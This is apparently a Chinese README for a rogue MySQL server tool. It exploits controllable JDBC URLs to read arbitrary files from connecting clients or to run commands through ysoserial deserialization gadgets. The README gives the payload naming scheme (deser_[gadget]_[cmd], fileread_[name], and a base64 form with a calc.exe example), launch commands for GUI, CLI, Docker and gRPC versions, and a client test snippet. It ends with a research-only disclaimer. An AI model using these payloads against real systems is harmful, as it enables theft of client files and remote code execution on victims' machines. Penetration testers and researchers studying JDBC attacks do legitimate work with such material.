0x00 介绍
该项目是 MySQL_Fake_Server 高级版
当JDBC URL
可控时,特殊的MySQL
服务端可以读取JDBC
客户端任意文件或执行反序列化操作
完全使用Java
实现部分MySQL
协议,内置常见ysoserial
链,一键启动,自动生成可用的payload
用于测试
参考 MySQL_Fake_Server 项目,payload
从user
参数传递。反序列化应以deser_
开头,规则为deser_[gadget]_[cmd]
;文件读取以fileread_
开头,规则为fileread_[name]
由于某些文件名或命令存在特殊字符,支持使用base64
传递方式,方式为原有user
基础上进行base64
并以base64
开头,例如user=deser_CB_calc.exe
等于user=base64ZGVzZXJfQ0JfY2FsYy5leGU=
默认文件保存在当前目录的fake-server-files
下的当前时间戳目录内(自动创建目录)
0x01 GUI
使用GUI
版本一键启动,启动后可以根据自己的环境输入参数,生成payload
启动:java -jar fake-mysql-gui.jar
0x02 CLI
当你的环境不允许使用GUI
版时,可以使用命令行版启动,同样可以使用GUI
辅助生成payload
启动:java -jar fake-mysql-cli.jar -p [port]
0x03 Docker
构建:docker build -t fake-mysql-server .
启动:docker run -p 3306:3306 -d fake-mysql-server
0x04 RPC
本项目提供了GRPC
调用的方式
启动:java -jar fake-mysql-rpc.jar
(默认启动端口9999)
proto:
syntax = "proto3"; option java_package = "me.n1ar4.fake.rpc"; option java_outer_classname = "FakeServerRPC"; option java_multiple_files = true; package me.n1ar4.fake.rpc; service RPCStart { rpc start (RPCNull) returns (RPCResp) {} rpc stop (RPCPort) returns(RPCResp) {} } message RPCNull{} message RPCResp { string status = 1; int32 port = 2; } message RPCPort { int32 port = 1; }
0x05 其他
怎样测试:
String url = "jdbc:mysql://..."; try { Class.forName("com.mysql.jdbc.Driver"); // Class.forName("com.mysql.cj.jdbc.Driver"); DriverManager.getConnection(url); } catch (Exception e) { e.printStackTrace(); }
0x06 免责申明
本项目仅面向安全研究与学习,禁止任何非法用途
如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果
除非您已充分阅读、完全理解并接受本协议,否则,请您不要使用本项目